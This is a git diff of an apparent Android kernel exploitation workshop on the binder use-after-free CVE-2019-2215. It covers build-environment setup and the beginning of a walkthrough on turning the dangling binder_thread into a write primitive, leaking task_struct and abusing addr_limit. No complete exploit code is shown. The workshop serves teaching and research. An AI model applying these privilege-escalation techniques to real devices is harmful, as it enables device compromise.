diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml
deleted file mode 100644
index 89240c2..0000000
--- a/.github/workflows/main.yml
+++ /dev/null
@@ -1,39 +0,0 @@
-name: Build and Deploy Gitbook
-on:
- push:
- branches:
- - master
-
-jobs:
- build-and-deploy:
- runs-on: ubuntu-latest
- steps:
- - name: Setup Node JS ๐ข
- uses: actions/setup-node@v1
- with:
- node-version: "10.x"
-
- - name: Checkout Repository ๐๏ธ
- uses: actions/checkout@v2
- with:
- persist-credentials: false
-
- - name: Install and Build ๐ง
- run: |
- echo "Installing Gitbook CLI"
- sudo npm install gitbook-cli -g
- echo "Changing directory to gitbook"
- cd gitbook
- echo "Installing Gitbook Plugins"
- gitbook install
- echo "Building Gitbook"
- gitbook build . ../build
- echo "Removing node_modules directory"
- git clean -fx node_modules
-
- - name: Deploy ๐
- uses: JamesIves/github-pages-deploy-action@3.4.8
- with:
- ACCESS_TOKEN: ${{ secrets.ACCESS_TOKEN }}
- BRANCH: gh-pages
- FOLDER: build
diff --git a/.gitignore b/.gitignore
deleted file mode 100644
index f4721dd..0000000
--- a/.gitignore
+++ /dev/null
@@ -1,37 +0,0 @@
-# Gitbook Rules
-
-# Node rules:
-## Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
-.grunt
-
-## Dependency directory
-## Commenting this out is preferred by some people, see
-## https://docs.npmjs.com/misc/faq#should-i-check-my-node_modules-folder-into-git
-node_modules
-
-# Book build output
-_book
-
-# eBook build output
-*.epub
-*.mobi
-*.pdf
-
-
-# C/C++ rules
-
-# IntelliJ
-.idea
-
-# CMake
-cmake-build-*/
-
-# compiled binary
-cve-2019-2215*
-
-# Android source directory
-android-4.14-dev/*
-!android-4.14-dev/.gitkeep
-
-# Patch folder is not getting included
-!patch/*
diff --git a/Dockerfile b/Dockerfile
deleted file mode 100644
index 868f870..0000000
--- a/Dockerfile
+++ /dev/null
@@ -1,11 +0,0 @@
-FROM ubuntu:18.04
-
-# Fetch all essential packages for building the kernel
-RUN apt-get update
-RUN apt-get install -y git-core gnupg flex bison build-essential zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 libncurses5 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z1-dev libgl1-mesa-dev libxml2-utils xsltproc unzip fontconfig wget python3 git make clang gcc bc
-RUN curl https://storage.googleapis.com/git-repo-downloads/repo > /bin/repo
-RUN chmod +x /bin/repo
-
-# Get env ready for fetching source code of kernel
-RUN git config --global user.email "you@example.com" && \
- git config --global user.name "Your Name"
\ No newline at end of file
diff --git a/LICENSE b/LICENSE
deleted file mode 100644
index f288702..0000000
--- a/LICENSE
+++ /dev/null
@@ -1,674 +0,0 @@
- GNU GENERAL PUBLIC LICENSE
- Version 3, 29 June 2007
-
- Copyright (C) 2007 Free Software Foundation, Inc.
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
- Preamble
-
- The GNU General Public License is a free, copyleft license for
-software and other kinds of works.
-
- The licenses for most software and other practical works are designed
-to take away your freedom to share and change the works. By contrast,
-the GNU General Public License is intended to guarantee your freedom to
-share and change all versions of a program--to make sure it remains free
-software for all its users. We, the Free Software Foundation, use the
-GNU General Public License for most of our software; it applies also to
-any other work released this way by its authors. You can apply it to
-your programs, too.
-
- When we speak of free software, we are referring to freedom, not
-price. Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-them if you wish), that you receive source code or can get it if you
-want it, that you can change the software or use pieces of it in new
-free programs, and that you know you can do these things.
-
- To protect your rights, we need to prevent others from denying you
-these rights or asking you to surrender the rights. Therefore, you have
-certain responsibilities if you distribute copies of the software, or if
-you modify it: responsibilities to respect the freedom of others.
-
- For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must pass on to the recipients the same
-freedoms that you received. You must make sure that they, too, receive
-or can get the source code. And you must show them these terms so they
-know their rights.
-
- Developers that use the GNU GPL protect your rights with two steps:
-(1) assert copyright on the software, and (2) offer you this License
-giving you legal permission to copy, distribute and/or modify it.
-
- For the developers' and authors' protection, the GPL clearly explains
-that there is no warranty for this free software. For both users' and
-authors' sake, the GPL requires that modified versions be marked as
-changed, so that their problems will not be attributed erroneously to
-authors of previous versions.
-
- Some devices are designed to deny users access to install or run
-modified versions of the software inside them, although the manufacturer
-can do so. This is fundamentally incompatible with the aim of
-protecting users' freedom to change the software. The systematic
-pattern of such abuse occurs in the area of products for individuals to
-use, which is precisely where it is most unacceptable. Therefore, we
-have designed this version of the GPL to prohibit the practice for those
-products. If such problems arise substantially in other domains, we
-stand ready to extend this provision to those domains in future versions
-of the GPL, as needed to protect the freedom of users.
-
- Finally, every program is threatened constantly by software patents.
-States should not allow patents to restrict development and use of
-software on general-purpose computers, but in those that do, we wish to
-avoid the special danger that patents applied to a free program could
-make it effectively proprietary. To prevent this, the GPL assures that
-patents cannot be used to render the program non-free.
-
- The precise terms and conditions for copying, distribution and
-modification follow.
-
- TERMS AND CONDITIONS
-
- 0. Definitions.
-
- "This License" refers to version 3 of the GNU General Public License.
-
- "Copyright" also means copyright-like laws that apply to other kinds of
-works, such as semiconductor masks.
-
- "The Program" refers to any copyrightable work licensed under this
-License. Each licensee is addressed as "you". "Licensees" and
-"recipients" may be individuals or organizations.
-
- To "modify" a work means to copy from or adapt all or part of the work
-in a fashion requiring copyright permission, other than the making of an
-exact copy. The resulting work is called a "modified version" of the
-earlier work or a work "based on" the earlier work.
-
- A "covered work" means either the unmodified Program or a work based
-on the Program.
-
- To "propagate" a work means to do anything with it that, without
-permission, would make you directly or secondarily liable for
-infringement under applicable copyright law, except executing it on a
-computer or modifying a private copy. Propagation includes copying,
-distribution (with or without modification), making available to the
-public, and in some countries other activities as well.
-
- To "convey" a work means any kind of propagation that enables other
-parties to make or receive copies. Mere interaction with a user through
-a computer network, with no transfer of a copy, is not conveying.
-
- An interactive user interface displays "Appropriate Legal Notices"
-to the extent that it includes a convenient and prominently visible
-feature that (1) displays an appropriate copyright notice, and (2)
-tells the user that there is no warranty for the work (except to the
-extent that warranties are provided), that licensees may convey the
-work under this License, and how to view a copy of this License. If
-the interface presents a list of user commands or options, such as a
-menu, a prominent item in the list meets this criterion.
-
- 1. Source Code.
-
- The "source code" for a work means the preferred form of the work
-for making modifications to it. "Object code" means any non-source
-form of a work.
-
- A "Standard Interface" means an interface that either is an official
-standard defined by a recognized standards body, or, in the case of
-interfaces specified for a particular programming language, one that
-is widely used among developers working in that language.
-
- The "System Libraries" of an executable work include anything, other
-than the work as a whole, that (a) is included in the normal form of
-packaging a Major Component, but which is not part of that Major
-Component, and (b) serves only to enable use of the work with that
-Major Component, or to implement a Standard Interface for which an
-implementation is available to the public in source code form. A
-"Major Component", in this context, means a major essential component
-(kernel, window system, and so on) of the specific operating system
-(if any) on which the executable work runs, or a compiler used to
-produce the work, or an object code interpreter used to run it.
-
- The "Corresponding Source" for a work in object code form means all
-the source code needed to generate, install, and (for an executable
-work) run the object code and to modify the work, including scripts to
-control those activities. However, it does not include the work's
-System Libraries, or general-purpose tools or generally available free
-programs which are used unmodified in performing those activities but
-which are not part of the work. For example, Corresponding Source
-includes interface definition files associated with source files for
-the work, and the source code for shared libraries and dynamically
-linked subprograms that the work is specifically designed to require,
-such as by intimate data communication or control flow between those
-subprograms and other parts of the work.
-
- The Corresponding Source need not include anything that users
-can regenerate automatically from other parts of the Corresponding
-Source.
-
- The Corresponding Source for a work in source code form is that
-same work.
-
- 2. Basic Permissions.
-
- All rights granted under this License are granted for the term of
-copyright on the Program, and are irrevocable provided the stated
-conditions are met. This License explicitly affirms your unlimited
-permission to run the unmodified Program. The output from running a
-covered work is covered by this License only if the output, given its
-content, constitutes a covered work. This License acknowledges your
-rights of fair use or other equivalent, as provided by copyright law.
-
- You may make, run and propagate covered works that you do not
-convey, without conditions so long as your license otherwise remains
-in force. You may convey covered works to others for the sole purpose
-of having them make modifications exclusively for you, or provide you
-with facilities for running those works, provided that you comply with
-the terms of this License in conveying all material for which you do
-not control copyright. Those thus making or running the covered works
-for you must do so exclusively on your behalf, under your direction
-and control, on terms that prohibit them from making any copies of
-your copyrighted material outside their relationship with you.
-
- Conveying under any other circumstances is permitted solely under
-the conditions stated below. Sublicensing is not allowed; section 10
-makes it unnecessary.
-
- 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
-
- No covered work shall be deemed part of an effective technological
-measure under any applicable law fulfilling obligations under article
-11 of the WIPO copyright treaty adopted on 20 December 1996, or
-similar laws prohibiting or restricting circumvention of such
-measures.
-
- When you convey a covered work, you waive any legal power to forbid
-circumvention of technological measures to the extent such circumvention
-is effected by exercising rights under this License with respect to
-the covered work, and you disclaim any intention to limit operation or
-modification of the work as a means of enforcing, against the work's
-users, your or third parties' legal rights to forbid circumvention of
-technological measures.
-
- 4. Conveying Verbatim Copies.
-
- You may convey verbatim copies of the Program's source code as you
-receive it, in any medium, provided that you conspicuously and
-appropriately publish on each copy an appropriate copyright notice;
-keep intact all notices stating that this License and any
-non-permissive terms added in accord with section 7 apply to the code;
-keep intact all notices of the absence of any warranty; and give all
-recipients a copy of this License along with the Program.
-
- You may charge any price or no price for each copy that you convey,
-and you may offer support or warranty protection for a fee.
-
- 5. Conveying Modified Source Versions.
-
- You may convey a work based on the Program, or the modifications to
-produce it from the Program, in the form of source code under the
-terms of section 4, provided that you also meet all of these conditions:
-
- a) The work must carry prominent notices stating that you modified
- it, and giving a relevant date.
-
- b) The work must carry prominent notices stating that it is
- released under this License and any conditions added under section
- 7. This requirement modifies the requirement in section 4 to
- "keep intact all notices".
-
- c) You must license the entire work, as a whole, under this
- License to anyone who comes into possession of a copy. This
- License will therefore apply, along with any applicable section 7
- additional terms, to the whole of the work, and all its parts,
- regardless of how they are packaged. This License gives no
- permission to license the work in any other way, but it does not
- invalidate such permission if you have separately received it.
-
- d) If the work has interactive user interfaces, each must display
- Appropriate Legal Notices; however, if the Program has interactive
- interfaces that do not display Appropriate Legal Notices, your
- work need not make them do so.
-
- A compilation of a covered work with other separate and independent
-works, which are not by their nature extensions of the covered work,
-and which are not combined with it such as to form a larger program,
-in or on a volume of a storage or distribution medium, is called an
-"aggregate" if the compilation and its resulting copyright are not
-used to limit the access or legal rights of the compilation's users
-beyond what the individual works permit. Inclusion of a covered work
-in an aggregate does not cause this License to apply to the other
-parts of the aggregate.
-
- 6. Conveying Non-Source Forms.
-
- You may convey a covered work in object code form under the terms
-of sections 4 and 5, provided that you also convey the
-machine-readable Corresponding Source under the terms of this License,
-in one of these ways:
-
- a) Convey the object code in, or embodied in, a physical product
- (including a physical distribution medium), accompanied by the
- Corresponding Source fixed on a durable physical medium
- customarily used for software interchange.
-
- b) Convey the object code in, or embodied in, a physical product
- (including a physical distribution medium), accompanied by a
- written offer, valid for at least three years and valid for as
- long as you offer spare parts or customer support for that product
- model, to give anyone who possesses the object code either (1) a
- copy of the Corresponding Source for all the software in the
- product that is covered by this License, on a durable physical
- medium customarily used for software interchange, for a price no
- more than your reasonable cost of physically performing this
- conveying of source, or (2) access to copy the
- Corresponding Source from a network server at no charge.
-
- c) Convey individual copies of the object code with a copy of the
- written offer to provide the Corresponding Source. This
- alternative is allowed only occasionally and noncommercially, and
- only if you received the object code with such an offer, in accord
- with subsection 6b.
-
- d) Convey the object code by offering access from a designated
- place (gratis or for a charge), and offer equivalent access to the
- Corresponding Source in the same way through the same place at no
- further charge. You need not require recipients to copy the
- Corresponding Source along with the object code. If the place to
- copy the object code is a network server, the Corresponding Source
- may be on a different server (operated by you or a third party)
- that supports equivalent copying facilities, provided you maintain
- clear directions next to the object code saying where to find the
- Corresponding Source. Regardless of what server hosts the
- Corresponding Source, you remain obligated to ensure that it is
- available for as long as needed to satisfy these requirements.
-
- e) Convey the object code using peer-to-peer transmission, provided
- you inform other peers where the object code and Corresponding
- Source of the work are being offered to the general public at no
- charge under subsection 6d.
-
- A separable portion of the object code, whose source code is excluded
-from the Corresponding Source as a System Library, need not be
-included in conveying the object code work.
-
- A "User Product" is either (1) a "consumer product", which means any
-tangible personal property which is normally used for personal, family,
-or household purposes, or (2) anything designed or sold for incorporation
-into a dwelling. In determining whether a product is a consumer product,
-doubtful cases shall be resolved in favor of coverage. For a particular
-product received by a particular user, "normally used" refers to a
-typical or common use of that class of product, regardless of the status
-of the particular user or of the way in which the particular user
-actually uses, or expects or is expected to use, the product. A product
-is a consumer product regardless of whether the product has substantial
-commercial, industrial or non-consumer uses, unless such uses represent
-the only significant mode of use of the product.
-
- "Installation Information" for a User Product means any methods,
-procedures, authorization keys, or other information required to install
-and execute modified versions of a covered work in that User Product from
-a modified version of its Corresponding Source. The information must
-suffice to ensure that the continued functioning of the modified object
-code is in no case prevented or interfered with solely because
-modification has been made.
-
- If you convey an object code work under this section in, or with, or
-specifically for use in, a User Product, and the conveying occurs as
-part of a transaction in which the right of possession and use of the
-User Product is transferred to the recipient in perpetuity or for a
-fixed term (regardless of how the transaction is characterized), the
-Corresponding Source conveyed under this section must be accompanied
-by the Installation Information. But this requirement does not apply
-if neither you nor any third party retains the ability to install
-modified object code on the User Product (for example, the work has
-been installed in ROM).
-
- The requirement to provide Installation Information does not include a
-requirement to continue to provide support service, warranty, or updates
-for a work that has been modified or installed by the recipient, or for
-the User Product in which it has been modified or installed. Access to a
-network may be denied when the modification itself materially and
-adversely affects the operation of the network or violates the rules and
-protocols for communication across the network.
-
- Corresponding Source conveyed, and Installation Information provided,
-in accord with this section must be in a format that is publicly
-documented (and with an implementation available to the public in
-source code form), and must require no special password or key for
-unpacking, reading or copying.
-
- 7. Additional Terms.
-
- "Additional permissions" are terms that supplement the terms of this
-License by making exceptions from one or more of its conditions.
-Additional permissions that are applicable to the entire Program shall
-be treated as though they were included in this License, to the extent
-that they are valid under applicable law. If additional permissions
-apply only to part of the Program, that part may be used separately
-under those permissions, but the entire Program remains governed by
-this License without regard to the additional permissions.
-
- When you convey a copy of a covered work, you may at your option
-remove any additional permissions from that copy, or from any part of
-it. (Additional permissions may be written to require their own
-removal in certain cases when you modify the work.) You may place
-additional permissions on material, added by you to a covered work,
-for which you have or can give appropriate copyright permission.
-
- Notwithstanding any other provision of this License, for material you
-add to a covered work, you may (if authorized by the copyright holders of
-that material) supplement the terms of this License with terms:
-
- a) Disclaiming warranty or limiting liability differently from the
- terms of sections 15 and 16 of this License; or
-
- b) Requiring preservation of specified reasonable legal notices or
- author attributions in that material or in the Appropriate Legal
- Notices displayed by works containing it; or
-
- c) Prohibiting misrepresentation of the origin of that material, or
- requiring that modified versions of such material be marked in
- reasonable ways as different from the original version; or
-
- d) Limiting the use for publicity purposes of names of licensors or
- authors of the material; or
-
- e) Declining to grant rights under trademark law for use of some
- trade names, trademarks, or service marks; or
-
- f) Requiring indemnification of licensors and authors of that
- material by anyone who conveys the material (or modified versions of
- it) with contractual assumptions of liability to the recipient, for
- any liability that these contractual assumptions directly impose on
- those licensors and authors.
-
- All other non-permissive additional terms are considered "further
-restrictions" within the meaning of section 10. If the Program as you
-received it, or any part of it, contains a notice stating that it is
-governed by this License along with a term that is a further
-restriction, you may remove that term. If a license document contains
-a further restriction but permits relicensing or conveying under this
-License, you may add to a covered work material governed by the terms
-of that license document, provided that the further restriction does
-not survive such relicensing or conveying.
-
- If you add terms to a covered work in accord with this section, you
-must place, in the relevant source files, a statement of the
-additional terms that apply to those files, or a notice indicating
-where to find the applicable terms.
-
- Additional terms, permissive or non-permissive, may be stated in the
-form of a separately written license, or stated as exceptions;
-the above requirements apply either way.
-
- 8. Termination.
-
- You may not propagate or modify a covered work except as expressly
-provided under this License. Any attempt otherwise to propagate or
-modify it is void, and will automatically terminate your rights under
-this License (including any patent licenses granted under the third
-paragraph of section 11).
-
- However, if you cease all violation of this License, then your
-license from a particular copyright holder is reinstated (a)
-provisionally, unless and until the copyright holder explicitly and
-finally terminates your license, and (b) permanently, if the copyright
-holder fails to notify you of the violation by some reasonable means
-prior to 60 days after the cessation.
-
- Moreover, your license from a particular copyright holder is
-reinstated permanently if the copyright holder notifies you of the
-violation by some reasonable means, this is the first time you have
-received notice of violation of this License (for any work) from that
-copyright holder, and you cure the violation prior to 30 days after
-your receipt of the notice.
-
- Termination of your rights under this section does not terminate the
-licenses of parties who have received copies or rights from you under
-this License. If your rights have been terminated and not permanently
-reinstated, you do not qualify to receive new licenses for the same
-material under section 10.
-
- 9. Acceptance Not Required for Having Copies.
-
- You are not required to accept this License in order to receive or
-run a copy of the Program. Ancillary propagation of a covered work
-occurring solely as a consequence of using peer-to-peer transmission
-to receive a copy likewise does not require acceptance. However,
-nothing other than this License grants you permission to propagate or
-modify any covered work. These actions infringe copyright if you do
-not accept this License. Therefore, by modifying or propagating a
-covered work, you indicate your acceptance of this License to do so.
-
- 10. Automatic Licensing of Downstream Recipients.
-
- Each time you convey a covered work, the recipient automatically
-receives a license from the original licensors, to run, modify and
-propagate that work, subject to this License. You are not responsible
-for enforcing compliance by third parties with this License.
-
- An "entity transaction" is a transaction transferring control of an
-organization, or substantially all assets of one, or subdividing an
-organization, or merging organizations. If propagation of a covered
-work results from an entity transaction, each party to that
-transaction who receives a copy of the work also receives whatever
-licenses to the work the party's predecessor in interest had or could
-give under the previous paragraph, plus a right to possession of the
-Corresponding Source of the work from the predecessor in interest, if
-the predecessor has it or can get it with reasonable efforts.
-
- You may not impose any further restrictions on the exercise of the
-rights granted or affirmed under this License. For example, you may
-not impose a license fee, royalty, or other charge for exercise of
-rights granted under this License, and you may not initiate litigation
-(including a cross-claim or counterclaim in a lawsuit) alleging that
-any patent claim is infringed by making, using, selling, offering for
-sale, or importing the Program or any portion of it.
-
- 11. Patents.
-
- A "contributor" is a copyright holder who authorizes use under this
-License of the Program or a work on which the Program is based. The
-work thus licensed is called the contributor's "contributor version".
-
- A contributor's "essential patent claims" are all patent claims
-owned or controlled by the contributor, whether already acquired or
-hereafter acquired, that would be infringed by some manner, permitted
-by this License, of making, using, or selling its contributor version,
-but do not include claims that would be infringed only as a
-consequence of further modification of the contributor version. For
-purposes of this definition, "control" includes the right to grant
-patent sublicenses in a manner consistent with the requirements of
-this License.
-
- Each contributor grants you a non-exclusive, worldwide, royalty-free
-patent license under the contributor's essential patent claims, to
-make, use, sell, offer for sale, import and otherwise run, modify and
-propagate the contents of its contributor version.
-
- In the following three paragraphs, a "patent license" is any express
-agreement or commitment, however denominated, not to enforce a patent
-(such as an express permission to practice a patent or covenant not to
-sue for patent infringement). To "grant" such a patent license to a
-party means to make such an agreement or commitment not to enforce a
-patent against the party.
-
- If you convey a covered work, knowingly relying on a patent license,
-and the Corresponding Source of the work is not available for anyone
-to copy, free of charge and under the terms of this License, through a
-publicly available network server or other readily accessible means,
-then you must either (1) cause the Corresponding Source to be so
-available, or (2) arrange to deprive yourself of the benefit of the
-patent license for this particular work, or (3) arrange, in a manner
-consistent with the requirements of this License, to extend the patent
-license to downstream recipients. "Knowingly relying" means you have
-actual knowledge that, but for the patent license, your conveying the
-covered work in a country, or your recipient's use of the covered work
-in a country, would infringe one or more identifiable patents in that
-country that you have reason to believe are valid.
-
- If, pursuant to or in connection with a single transaction or
-arrangement, you convey, or propagate by procuring conveyance of, a
-covered work, and grant a patent license to some of the parties
-receiving the covered work authorizing them to use, propagate, modify
-or convey a specific copy of the covered work, then the patent license
-you grant is automatically extended to all recipients of the covered
-work and works based on it.
-
- A patent license is "discriminatory" if it does not include within
-the scope of its coverage, prohibits the exercise of, or is
-conditioned on the non-exercise of one or more of the rights that are
-specifically granted under this License. You may not convey a covered
-work if you are a party to an arrangement with a third party that is
-in the business of distributing software, under which you make payment
-to the third party based on the extent of your activity of conveying
-the work, and under which the third party grants, to any of the
-parties who would receive the covered work from you, a discriminatory
-patent license (a) in connection with copies of the covered work
-conveyed by you (or copies made from those copies), or (b) primarily
-for and in connection with specific products or compilations that
-contain the covered work, unless you entered into that arrangement,
-or that patent license was granted, prior to 28 March 2007.
-
- Nothing in this License shall be construed as excluding or limiting
-any implied license or other defenses to infringement that may
-otherwise be available to you under applicable patent law.
-
- 12. No Surrender of Others' Freedom.
-
- If conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License. If you cannot convey a
-covered work so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you may
-not convey it at all. For example, if you agree to terms that obligate you
-to collect a royalty for further conveying from those to whom you convey
-the Program, the only way you could satisfy both those terms and this
-License would be to refrain entirely from conveying the Program.
-
- 13. Use with the GNU Affero General Public License.
-
- Notwithstanding any other provision of this License, you have
-permission to link or combine any covered work with a work licensed
-under version 3 of the GNU Affero General Public License into a single
-combined work, and to convey the resulting work. The terms of this
-License will continue to apply to the part which is the covered work,
-but the special requirements of the GNU Affero General Public License,
-section 13, concerning interaction through a network will apply to the
-combination as such.
-
- 14. Revised Versions of this License.
-
- The Free Software Foundation may publish revised and/or new versions of
-the GNU General Public License from time to time. Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
- Each version is given a distinguishing version number. If the
-Program specifies that a certain numbered version of the GNU General
-Public License "or any later version" applies to it, you have the
-option of following the terms and conditions either of that numbered
-version or of any later version published by the Free Software
-Foundation. If the Program does not specify a version number of the
-GNU General Public License, you may choose any version ever published
-by the Free Software Foundation.
-
- If the Program specifies that a proxy can decide which future
-versions of the GNU General Public License can be used, that proxy's
-public statement of acceptance of a version permanently authorizes you
-to choose that version for the Program.
-
- Later license versions may give you additional or different
-permissions. However, no additional obligations are imposed on any
-author or copyright holder as a result of your choosing to follow a
-later version.
-
- 15. Disclaimer of Warranty.
-
- THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
-APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
-HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
-OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
-THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
-IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
-ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
- 16. Limitation of Liability.
-
- IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
-THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
-GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
-USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
-DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
-PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
-EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGES.
-
- 17. Interpretation of Sections 15 and 16.
-
- If the disclaimer of warranty and limitation of liability provided
-above cannot be given local legal effect according to their terms,
-reviewing courts shall apply local law that most closely approximates
-an absolute waiver of all civil liability in connection with the
-Program, unless a warranty or assumption of liability accompanies a
-copy of the Program in return for a fee.
-
- END OF TERMS AND CONDITIONS
-
- How to Apply These Terms to Your New Programs
-
- If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
- To do so, attach the following notices to the program. It is safest
-to attach them to the start of each source file to most effectively
-state the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-
- Copyright (C)
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-
-Also add information on how to contact you by electronic and paper mail.
-
- If the program does terminal interaction, make it output a short
-notice like this when it starts in an interactive mode:
-
- Copyright (C)
- This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
- This is free software, and you are welcome to redistribute it
- under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License. Of course, your program's commands
-might be different; for a GUI interface, you would use an "about box".
-
- You should also get your employer (if you work as a programmer) or school,
-if any, to sign a "copyright disclaimer" for the program, if necessary.
-For more information on this, and how to apply and follow the GNU GPL, see
-.
-
- The GNU General Public License does not permit incorporating your program
-into proprietary programs. If your program is a subroutine library, you
-may consider it more useful to permit linking proprietary applications with
-the library. If this is what you want to do, use the GNU Lesser General
-Public License instead of this License. But first, please read
-.
diff --git a/README.md b/README.md
deleted file mode 100644
index 3e7bf00..0000000
--- a/README.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# Android Kernel Exploitation
-
-## Objective
-
-The objective of this workshop is to get started with **kernel vulnerability analsysis** and **exploitation** in **Android** platform.
-
-
-## Usage
-
-Clone the repository
-
-```bash
-git clone https://github.com/cloudfuzz/android-kernel-exploitation ~/workshop
-```
-
-
-## Github Pages URL
-
-https://cloudfuzz.github.io/android-kernel-exploitation/
-
-
-## Workshop Stream
-
-
-
-
-
-
-## Docker for building kernel
-```bash
-# Build the docker image
-docker build -t and-build-env .
-# Run the docker
-docker run -d --rm -it and-build-env
-# Get shell in docker image to do further work
-```
-
-## Author
-
-**Ashfaq Ansari ([@HackSysTeam](https://twitter.com/HackSysTeam))** of **[CloudFuzz](https://cloudfuzz.io)**.
-
-
The whole analysis and exploitation will been done in a virtual environment for the ease of access and debugging.
+
Hardware Requirements
+
+
40 GB free hard drive space
+
8 GB+ of RAM
+
Multi-core processor
+
+
Software Requirements
+
For this workshop, we will need to install the below given items in Ubuntu 18.04 LTS host machine. However, Windows, Mac OSX and other OS are also supported.
+
+
GDB
+
Workshop Repository
+
Android Studio
+
Android NDK
+
Android Virtual Device
+
Android Kernel Source Code
+
+
GDB
+
Open a terminal window and type the below given command to verify if GDB is installed. We will need GDB compiled with python 2.7 support.
+
ashfaq@hacksys:~$ gdb --version
+GNU gdb (GDB)8.2
+Copyright (C)2018 Free Software Foundation, Inc.
+License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.
+
+ashfaq@hacksys:~$ gdb -quiet
+GEF for linux ready, type`gef' to start, `gef config' to configure
+77 commands loaded for GDB 8.2 using Python engine 2.7
+[*] 3 commands could not be loaded, run `gef missing` to know why.
+gef> py
+>import sys
+>print sys.version_info
+>end
+sys.version_info(major=2, minor=7, micro=17, releaselevel='final', serial=0)
+gef> q
+
+ashfaq@hacksys:~$ readelf -d $(which gdb)|grep python
+ 0x0000000000000001 (NEEDED) Shared library: [libpython2.7.so.1.0]
+
+ashfaq@hacksys:~$ python --version
+Python 2.7.17
+
+
If GDB is not installed in your system, please make sure to install it with python 2.7 support.
+
Workshop Repository
+
Open a terminal window and type the below given command to clone the workshop repository.
Once Android Studio is installed, make sure to add ~/Android/Sdk/platform-tools and ~/Android/Sdk/emulator to your PATH environment variable. This will allow as to access adb and emulator command without specifying the complete path.
Android is powered by Linux kernel. For this workshop, we are going to use q-goldfish-android-goldfish-4.14-dev branch of the Android kernel source repository.
Once repo has been installed, you can now start synchronizing the kernel source tree. This will also download the necessary build tools.
+
We do not want to download the repository with all the commit history and different branches. So, we will do a shallow clone.
+
Currently, I'm on 182a76ba7053af521e4c0d5fd62134f1e323191dcommit id and repo command does not allow us to specify a commit id to clone from command line. So, I have created a custom manifest file that we will replace after the repo has been initialized.
In Root Cause Analysis section we understood the vulnerability and why it happened.
+
We know that there are two places where the use of danglingbinder_thread structure chunk happens.
+
The first use happen when remove_wait_qeue function tries to acquire the spin lock. However, it is not so much interesting from the point of view of exploitation.
+
The second use happens in the internal function __remove_wait_queue where it tries to unlink the poll wait queue. This is very interesting from the point of view of exploitation as we get a primitive where we can write pointer to binder_thread->wait.head to binder_thread->wait.head.next and binder_thread->wait.head.prev on a dangling chunk.
+
Let's revisit the struct binder_thread which is defined in workshop/android-4.14-dev/goldfish/drivers/android/binder.c.
+
structbinder_thread{
+ structbinder_proc*proc;
+ structrb_node rb_node;
+ structlist_head waiting_thread_node;
+ int pid;
+ int looper;/* only modified by this thread */
+ bool looper_need_return;/* can be written by other thread */
+ structbinder_transaction*transaction_stack;
+ structlist_head todo;
+ bool process_todo;
+ structbinder_error return_error;
+ structbinder_error reply_error;
+ wait_queue_head_t wait;
+ structbinder_stats stats;
+ atomic_t tmp_ref;
+ bool is_dead;
+ structtask_struct*task;
+};
+
+
If you look closely, you will notice that pointer to struct task_struct is also a member of this binder_thread structure.
+
If somehow we can leak this, we will know where the task_struct of the current process is.
+
+
Note: Read more about task_struct structure and Linux privilege escalation in Linux Privilege Escalation section.
+
+
Now, let's see how we can exploit this vulnerability. As the exploit mitigations are increasing day by day, it's very important to build better primitives.
+
Primitive
+
task_struct structure has an important member addr_limit of type mm_segment_t. addr_limit stores the highest valid user space address.
+
addr_limit is part of struct thread_info or struct thread_struct depending on the target architecture. As we are now dealing with x86_64 bit system, addr_limit is defined in struct thread_struct and it's part of task_struct structure.
+
To understand more about addr_limit, let's see the prototype of read and write system call.
